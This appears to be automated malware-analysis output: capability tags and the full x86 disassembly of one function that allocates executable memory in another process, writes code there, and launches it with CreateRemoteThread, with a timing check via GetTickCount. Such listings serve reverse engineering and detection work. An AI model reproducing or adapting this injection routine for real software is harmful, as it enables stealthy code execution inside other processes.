Function at 0x412dd0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 4], 0x800
mov byte [ebp - 5], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push 0x40
push 0x1000
push 0x115c
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x412fc7
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push ecx
push 0x800
push 0x411bc0
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x412fa0
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x3c]
call fcn.004126f0
mov ecx, dword [ebp - 0xc]
add ecx, 0x800
mov edx, dword [ebp - 0x3c]
mov dword [edx + 0x960], ecx
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
push 0x95c
mov ecx, dword [ebp - 0x3c]
add ecx, 4
push ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx + 0x960]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x412f7e
mov dword [ebp - 0x20], 0
mov edx, dword [ebp - 0x3c]
add edx, 0x10
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x412f7e
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx + 0x960]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x412f6d
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x34], eax
push 0x3a98
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x28], 0
mov byte [ebp - 5], 1
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
movzx eax, byte [ebp - 5]
test eax, eax
jne 0x412fc7
push 0x8000
push 0
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xc], 0
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret 8